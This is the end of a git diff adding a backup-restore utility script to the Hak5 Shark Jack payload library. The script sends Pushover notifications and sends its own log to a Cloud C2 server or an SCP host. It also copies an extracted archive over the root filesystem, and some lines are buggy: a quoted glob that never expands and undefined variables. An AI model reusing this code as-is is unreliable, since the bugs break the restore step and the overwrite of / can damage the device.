[LED SETUP] +Restoring | Yellow single blink [LED ATTACK] +Finishing up | Yellow double blink [LED STAGE2] +Finished | Green very fast blinking followed by solid [LED FINISH] + +## Discussion + +--- + +[Hak5 Forum Thread to be added]() \ No newline at end of file diff --git a/payloads/library/util/Backup-and-Restore-scripts-with-logging-and-notification/restore.sh b/payloads/library/util/Backup-and-Restore-scripts-with-logging-and-notification/restore.sh new file mode 100644 index 0000000..082ea92 --- /dev/null +++ b/payloads/library/util/Backup-and-Restore-scripts-with-logging-and-notification/restore.sh @@ -0,0 +1,213 @@ +#!/bin/bash +# +# Title: restore.sh +# Description: Restore backed-up date and install packages on SharkJack +# Execute with: bash ./restore.sh /path/to/backup.zip (e.g. "bash ./restore.sh /tmp/1-20200101-SharkJack-backup.zip") +# Copy the backup file to the Shark Jack's /tmp directory via SCP (e.g. "scp 1-20200101-SharkJack-backup.zip root@172.16.24.1:/tmp/") +# Author: Robert Coemans +# Version: 1.0 (20-08-2020) +# Category: Util +# +# Dependencies: this payload requires you to have the following packages already installed and configured via 'opkg install' (do 'opkg update' first): +# - curl = E.g. to grab external IP address and to post notifications +# - unzip +# +# LED indications (https://docs.hak5.org/hc/en-us/articles/360010554653-LED) +# - Setting up = Magenta solid [LED SETUP] +# - Restoring = Yellow single blink [LED ATTACK] +# - Finishing up = Yellow double blink [LED STAGE2] +# - Finished = Green very fast blinking followed by solid [LED FINISH] + +# **************************************************************************************************** +# Configuration +# **************************************************************************************************** + +# Setup toggles +NOTIFY_PUSHOVER=true +START_CLOUD_C2_CLIENT=false + +# Restore toggles +INSTALL_PACKAGES=false +RESTORE_ONLY_NEWER_FILES=false # If set to false all files from backup will be restored even older files! + +# Finish toggles +EXFIL_TO_CLOUD_C2=true +EXFIL_TO_SCP=false + +# Setup variables +RESTORE_DIR_ROOT="/root/restore" # Be careful, this folder and all its contents including subfolders will be deleted! +TODAY=$(date +%Y%m%d) +START_TIME=$(date) +BATTERY_STATUS=$(BATTERY) +CLOUD_C2_PROVISION="/etc/device.config" + +# Restore variables +OPKG_PACKAGES_TO_INSTALL=( "unzip" "zip" "nano" "curl" "lldpd" "bind-dig" "bind-host" "libustream-openssl" ) +RESTORE_DESTINATION_USER="{username}" # Generate a ssh key (ssh-keygen) on the destination host and copy it (~/.ssh/id_rsa_pub) to the SharkJack (~/.ssh/authorized/keys) in order to bypass password! +RESTORE_DESTINATION_HOST="192.168.10.1" +RESTORE_DESTINATION_DIR_ROOT="/some/destination/folder/for/log_file" + +# Exfiltrate and notification variables +PUSHOVER_API_POST_URL="https://api.pushover.net/1/messages.json" +PUSHOVER_APPLICATION_TOKEN="{your-application-token}" +PUSHOVER_USER_TOKEN="{your-user-token}" +PUSHOVER_PRIORITY="1" # send as -2 to generate no notification/alert, -1 to always send as a quiet notification or 1 to display as high-priority and bypass the user's quiet hours! +PUSHOVER_DEVICE="{your-device}" # Multiple devices may be separated by a comma! + +# **************************************************************************************************** +# Setup functions +# **************************************************************************************************** + +function CHECK_INPUT_PARAM() { + if [ "$1" == "" ]; then + echo "Please specify the backup.zip file to be restored (e.g. "bash ./restore.sh /tmp/1-20200101-SharkJack-backup.zip")." + exit + elif [ ! -f "$1" ]; then + echo "$1 is not an existing file, please specify a backup.zip file to be restored (e.g. "bash ./restore.sh /tmp/1-20200101-SharkJack-backup.zip")." + exit + elif [ "${1##*.}" == "zip" ]; then + BACKUP_FILENAME=$(basename $1) + BACKUP_FILENAME=${BACKUP_FILENAME%.*} + else + echo "$1 is not an zip file, please specify a backup.zip file to be restored (e.g. "bash ./restore.sh /tmp/1-20200101-SharkJack-backup.zip")." + exit + fi + return +} + +function CREATE_RESTORE_FOLDER() { + if [ -d "$RESTORE_DIR_ROOT" ]; then + rm -r "$RESTORE_DIR_ROOT" + fi + mkdir -p "$RESTORE_DIR_ROOT" > /dev/null + RESTORE_DIR="$RESTORE_DIR_ROOT/$BACKUP_FILENAME" + mkdir -p "$RESTORE_DIR" > /dev/null + return +} + +function INITIALIZE_LOG_FILE() { + LOG_FILE=$RESTORE_DIR_ROOT/$BACKUP_FILENAME-restore.log + touch $LOG_FILE + echo "****************************************************************************************************" >> $LOG_FILE + echo "Restore executed at: $START_TIME" >> $LOG_FILE + echo "SharkJack battery status: $BATTERY_STATUS" >> $LOG_FILE + echo "****************************************************************************************************" >> $LOG_FILE + echo >> $LOG_FILE + echo "Free diskspace before actions: $(df -h | grep overlayfs | awk {'print $4'})" >> $LOG_FILE + echo "Restore directory has been created: $RESTORE_DIR" >> $LOG_FILE + return +} + +function RESTORE_STARTED_NOTIFICATION() { + if [ "$NOTIFY_PUSHOVER" = "true" ]; then + curl -s --form-string token="$PUSHOVER_APPLICATION_TOKEN" --form-string user="$PUSHOVER_USER_TOKEN" --form-string priority="$PUSHOVER_PRIORITY" --form-string device="$PUSHOVER_DEVICE" --form-string title="SharkJack restore started on date: $(date '+%d-%m-%Y'), time: $(date '+%H:%M') $(date '+%Z %z')" --form-string message="Restore identifier: $BACKUP_FILENAME" $PUSHOVER_API_POST_URL > /dev/null && echo "Restore started notification has been sent to Pushover" >> $LOG_FILE || echo "Restore started notification has NOT been sent to Pushover as something went wrong" >> $LOG_FILE + fi + return +} + +function START_CLOUD_C2_CLIENT() { + if [ "$START_CLOUD_C2_CLIENT" = "true" ]; then + if [[ -f "$CLOUD_C2_PROVISION" ]]; then + C2CONNECT + while ! pgrep cc-client; do sleep 1; done + echo "Connected to Cloud C2" >> $LOG_FILE + else + echo "Cloud C2 client configuration file ($CLOUD_C2_PROVISION) does not exists" >> $LOG_FILE + fi + fi + return +} + +# **************************************************************************************************** +# Restore functions +# **************************************************************************************************** + +function INSTALL_PACKAGES() { + if [ "$INSTALL_PACKAGES" = "true" ]; then + echo "INSTALL_PACKAGES function to be implemented!" + # Wait until Shark Jack has an IP address + while [ -z "$IPADDR" ]; do sleep 1 && IPADDR=$(ifconfig eth0 | grep "inet addr"); done + #opkg update >> $LOG_FILE 2>&1 && echo "opkg (open package management) has been updated succesfully" >> $LOG_FILE || echo "opkg (open package management) has not been (fully) updated" >> $LOG_FILE + opkg update && echo "opkg (open package management) has been updated succesfully" >> $LOG_FILE || echo "opkg (open package management) has not been (fully) updated" >> $LOG_FILE + for OPKG_PACKAGE_TO_INSTALL in ${OPKG_PACKAGES_TO_INSTALL[@]}; do + #opkg install $OPKG_PACKAGE_TO_INSTALL >> $LOG_FILE 2>&1 && echo "Package $OPKG_PACKAGE_TO_INSTALL has been installed succesfully" >> $LOG_FILE || echo "Package $OPKG_PACKAGE_TO_INSTALL has not been installed" >> $LOG_FILE + opkg install $OPKG_PACKAGE_TO_INSTALL && echo "Package $OPKG_PACKAGE_TO_INSTALL has been installed succesfully" >> $LOG_FILE || echo "Package $OPKG_PACKAGE_TO_INSTALL has not been installed" >> $LOG_FILE + done + fi + return +} + +function RESTORE_DATA() { + unzip $1 -d $RESTORE_DIR && echo "Backup file $1 has been extracted" >> $LOG_FILE || echo "Backup file $1 has NOT been extracted" >> $LOG_FILE + if [ "$RESTORE_ONLY_NEWER_FILES" = "true" ]; then + cp -ru $RESTORE_DIR/* / && echo "Files from backup $BACKUP_FILENAME has been restored while skipping existing newer files" >> $LOG_FILE || echo "Something went wrong, no files have been restored" >> $LOG_FILE + else + cp -r "$RESTORE_DIR/*" "/" && echo "Files from backup $BACKUP_FILENAME has been restored while overwriting existing files" >> $LOG_FILE || echo "Something went wrong, no files have been restored" >> $LOG_FILE + fi + rm -r "$RESTORE_DIR" && echo "Extraction folder $RESTORE_DIR has been cleaned up" >> $LOG_FILE || echo "Extraction folder $RESTORE_DIR has NOT been cleaned up" >> $LOG_FILE +} + +# **************************************************************************************************** +# Finish functions +# **************************************************************************************************** + +function EXFIL_TO_CLOUD_C2() { + if [ "$EXFIL_TO_CLOUD_C2" = "true" ]; then + if [[ $(pgrep cc-client) ]]; then + LOG_FILE_DESC="$BACKUP_FILENAME-restore-log" + C2EXFIL STRING $LOG_FILE $LOG_FILE_DESC && echo "Exfiltration of $LOG_FILE to Cloud C2 has passed" >> $LOG_FILE || echo "Exfiltration of $LOG_FILE to Cloud C2 has failed" >> $LOG_FILE + else + echo "Exfiltration of $LOOT_FILE to Cloud C2 has failed, CC-CLIENT seems not to be running" >> $LOG_FILE + fi + fi + return +} + +function EXFIL_TO_SCP() { + if [ "$EXFIL_TO_SCP" = "true" ]; then + scp "$LOG_FILE" "$RESTORE_DESTINATION_USER@$RESTORE_DESTINATION_HOST:$RESTORE_DESTINATION_DIR_ROOT" && echo "Exfiltration of $LOG_FILE to $BACKUP_DESTINATION_HOST:$BACKUP_DESTINATION_DIR_ROOT/ has passed" >> $LOG_FILE || echo "Exfiltration of $LOG_FILE to $BACKUP_DESTINATION_HOST:$BACKUP_DESTINATION_DIR_ROOT/ has failed" >> $LOG_FILE + fi + return +} + +function RESTORE_COMPLETED_NOTIFICATION() { + if [ "$NOTIFY_PUSHOVER" = "true" ]; then + curl -s --form-string token="$PUSHOVER_APPLICATION_TOKEN" --form-string user="$PUSHOVER_USER_TOKEN" --form-string priority="$PUSHOVER_PRIORITY" --form-string device="$PUSHOVER_DEVICE" --form-string title="SharkJack restore completed message" --form-string message="Restore identifier: $BACKUP_FILENAME, Complete restore took $SECONDS seconds" $PUSHOVER_API_POST_URL > /dev/null && echo "Restore completed notification has been sent to Pushover" >> $LOG_FILE || echo "Restore completed notification has NOT been sent to Pushover as something went wrong" >> $LOG_FILE + fi + return +} + +# **************************************************************************************************** +# Execute payload +# **************************************************************************************************** + +# Setup +LED SETUP +CHECK_INPUT_PARAM $1 # Checks whether given paramerter is an existing zip file +CREATE_RESTORE_FOLDER # Checks whether restore folder exists and creates or empties if required +INITIALIZE_LOG_FILE # Initialize the log file +RESTORE_STARTED_NOTIFICATION +START_CLOUD_C2_CLIENT + +# Restore +LED ATTACK +INSTALL_PACKAGES +RESTORE_DATA $1 + +# Finish +LED STAGE2 +echo "Free diskspace after actions: $(df -h | grep overlayfs | awk {'print $4'})" >> $LOG_FILE +echo "Restore script took $SECONDS seconds" >> $LOG_FILE +EXFIL_TO_CLOUD_C2 +EXFIL_TO_SCP +RESTORE_COMPLETED_NOTIFICATION +sync # Sync filesystem in order to prevent data loss + +# **************************************************************************************************** +# Prevent logging after this line! +# **************************************************************************************************** + +LED FINISH + +echo +cat $LOG_FILE